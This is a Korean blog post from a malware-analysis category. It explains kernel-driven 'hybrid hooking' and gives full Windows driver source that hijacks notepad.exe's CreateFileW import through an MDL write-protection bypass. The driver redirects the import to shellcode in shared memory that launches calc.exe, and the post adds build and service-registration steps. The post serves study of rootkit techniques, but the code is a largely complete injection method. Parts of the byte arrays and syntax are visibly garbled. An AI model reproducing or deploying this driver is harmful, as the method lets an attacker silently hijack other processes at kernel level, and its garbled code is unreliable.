하이브리드 후킹 ( Kernel을 이용한 User IAT 후킹 )

2018. 5. 21. 05:30악성코드 분석

Hybrid Hooking 

커널에서 유저쪽의 IAT를 후킹한다

대략적인 순서는 먼저 Callback함수를 등록한다  ( sys파일등록 )

=> 유저쪽의 이미지 파일이 실행될 때 커널에 알리도록 notify를 발생시킨다

그리고 해당 이미지 파일의 이름을 확인하고 후킹을 설치한다

IAT Hooking은 MDL을 이용한 WriteProtection을 해제하고 공유메모리를 이용한다


* MDL ( Memory Descriptor List )

NonpagedPool에 MDL 생성

생성된 MDL은 보호받는 메모리영역을 가르킨다

보호플래그를 변경하고 해당 메모리 영역에 데이터를 쓴다

다시 원상태로 복구


* 공유메모리 - KUSER_SHARE_DATA

유저와 커널이 공유하는 데이터 영역



후킹 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
#include "ntddk.h"
#include "ntimage.h"
#include "Driver_IATHook.h"
 
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
    DbgPrint("OnUnload called\n");
 
    PsSetLoadImageNotifyRoutine(MyImageLoadNotify);
}
 
 
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, 
                     IN PUNICODE_STRING theRegistryPath)
{
    NTSTATUS ntStatus;
    gb_Hooked = FALSE; // We have not hooked yet
 
    // 이미지가 실행되면 해당 함수 실행
    ntStatus = PsSetLoadImageNotifyRoutine(MyImageLoadNotify);
 
    // DriverObject의 언로드 포인터를 세팅한다.
    theDriverObject->DriverUnload = OnUnload;
 
    return ntStatus;
}
 
VOID MyImageLoadNotify(IN PUNICODE_STRING  FullImageName,
                       IN HANDLE  ProcessId,
                       IN PIMAGE_INFO  ImageInfo)
{
    UNICODE_STRING u_targetEXE;
 
 
    // 후킹하고자 하는 프로세스 이름 설정 
    RtlInitUnicodeString(&u_targetEXE, L"\\Device\\HarddiskVolume1\\WINDOWS\\system32\\notepad.exe");
 
    // 후킹하고자 하는 프로세스를 찾으면 실행
    if (RtlCompareUnicodeString(FullImageName, &u_targetEXE, TRUE) == 0)
    {
        DbgPrint("Image name: %ws\n", FullImageName->Buffer);
        HookImportsOfImage(ImageInfo->ImageBase, ProcessId);
    }
}
 
NTSTATUS HookImportsOfImage(PIMAGE_DOS_HEADER image_addr, HANDLE h_proc)
{
    PIMAGE_DOS_HEADER dosHeader;
    PIMAGE_NT_HEADERS pNTHeader;
    PIMAGE_IMPORT_DESCRIPTOR importDesc;
    PIMAGE_IMPORT_BY_NAME p_ibn;
 
    DWORD importsStartRVA;
    PDWORD pd_IAT, pd_INTO;
    int count, index;
 
    // kernel32.dll 의 CreateFile함수를 변조한다
    char *dll_name = NULL;
    char *pc_dlltar = "kernel32.dll";
    char *pc_fnctar = "CreateFileW";
 
    PMDL  p_mdl;
    PDWORD MappedImTable;
 
    // 공유 메모리의 주소
    DWORD d_sharedM = 0x7FFE0800; // 유저쪽 공유 메모리 주소
    DWORD d_sharedK = 0xFFDF0800// 커널쪽 공유 메모리 주소
 
    //쉘코드 정의 - calc.exe를 실행하는 쉘코드
    unsigned char shellcode[] =
        "\x33\xc0"                        //xor    eax,eax
        "\x50"                            //push    eax
        "\x68\x63\x61\x6C\x63"            //push    636C6163h
        "\x8B\xC4"                        //push    eax,esp
        "\x6A\x05"                        //push    5
        "\x50"                            //push    eax
        "\x68\xFA\xCA\x71\x7C"            //push    7C71CAFAh
        "\x80\x44\x24\x02\x10"            //add    byte ptr [esp+2],10h
        "\x68\x7D\x23\x76\x7C"            //push    7C76237Dh
        "\x80\x04\x24\x30"                //add    byte ptr [esp],30h
        "\x80\x44\x24\x02\x10"            //add    byte ptr [esp+2],10h
        "\xC3";                            //retn    
 
    // 쉘코드 이후 정상 실행흐름으로 돌아가는 코드 정의 (detour Code)
    // 변조하기 전의 IAT로 이동
    unsigned char new_code[] = { 
        0x90,                          // NOP
        0xb80xff0xff0xff0xff,  // mov eax, 0xFFFFFFFF
        0xff0xe0                     // jmp eax
    };
 
 
    dosHeader = (PIMAGE_DOS_HEADER) image_addr;
    pNTHeader = MakePtr( PIMAGE_NT_HEADERS, dosHeader, dosHeader->e_lfanew );
    
    if ( pNTHeader->Signature != IMAGE_NT_SIGNATURE )
        return STATUS_INVALID_IMAGE_FORMAT;
 
    importsStartRVA = pNTHeader->OptionalHeader.DataDirectory
                            [IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
 
    if (!importsStartRVA)
        return STATUS_INVALID_IMAGE_FORMAT;
 
    importDesc = (PIMAGE_IMPORT_DESCRIPTOR) (importsStartRVA + (DWORD) dosHeader);
 
    for (count = 0; importDesc[count].Characteristics != 0; count++)
    {
        //모듈 베이스 주소 + Name RVA
        dll_name = (char*) (importDesc[count].Name + (DWORD) dosHeader);
                
        pd_INTO = (PDWORD)(((DWORD) dosHeader) + (DWORD)importDesc[count].OriginalFirstThunk);
        pd_IAT = (PDWORD)(((DWORD) dosHeader) + (DWORD)importDesc[count].FirstThunk);
        
        //pd_IAT는 IMAGE_IMPORT_BY_NAME 구조체의 배열 시작주소다.
        for (index = 0; pd_IAT[index] != 0; index++)
        {
            // If this is an import by ordinal the high
            // bit is set
            if ((pd_INTO[index] & IMAGE_ORDINAL_FLAG) != IMAGE_ORDINAL_FLAG)
            {
                p_ibn = (PIMAGE_IMPORT_BY_NAME)(pd_INTO[index]+((DWORD) dosHeader));
                if ((_stricmp(dll_name, pc_dlltar) == 0&& \
                    (strcmp(p_ibn->Name, pc_fnctar) == 0))
                {
                    //DbgPrint("Imports from DLL: %s", dll_name);
                    //DbgPrint(" Name: %s Address: %x\n", p_ibn->Name, pd_IAT[index]);      
 
                    // Use the trick you already learned to map a different
                    // virtual address to the same physical page so no
                    // permission problems.
                    //
                    // Map the memory into our domain so we can change the permissions on the MDL
                    
                    p_mdl = MmCreateMdl(NULL&pd_IAT[index], 4);
                    if(!p_mdl)
                        return STATUS_UNSUCCESSFUL;
 
                    MmBuildMdlForNonPagedPool(p_mdl);
 
                    // Change the flags of the MDL
                    p_mdl->MdlFlags = p_mdl->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
                    MappedImTable = MmMapLockedPages(p_mdl, KernelMode);
                    
                    
                    if (!gb_Hooked)
                    {
                        // Writing the raw opcodes to memory
                        // used a kernel address that gets mapped
                        // into the address space of all processes
                        // thanks to Barnaby Jack
                        //RtlCopyMemory((PVOID)d_sharedK, new_code, 8);
                        //RtlCopyMemory((PVOID)(d_sharedK+2),(PVOID)&pd_IAT[index], 4);
 
                        RtlCopyMemory((PVOID)d_sharedK, shellcode, 38);
                        RtlCopyMemory((PVOID)(d_sharedK+38), new_code, 8);
                        RtlCopyMemory((PVOID)(d_sharedK+40),(PVOID)&pd_IAT[index], 4);
 
                        gb_Hooked = TRUE;
                    }
                    // Offset to the "new function"
                    *MappedImTable = d_sharedM;
 
                    // Free MDL
                    MmUnmapLockedPages(MappedImTable, p_mdl);
                    IoFreeMdl(p_mdl);
                }
            }
        }
    }
    return STATUS_SUCCESS;
}
 
 
/cs





[1] bulid하여 sys파일생성 & 서비스 등록 ( InstDrv 사용 )

[2] Notepad.exe에서 파일을 저장할 때 함수를 사용한다 ( write? create? )

[3] 후킹으로 인해 저장버튼을 클릭하면 계산기가 실행된다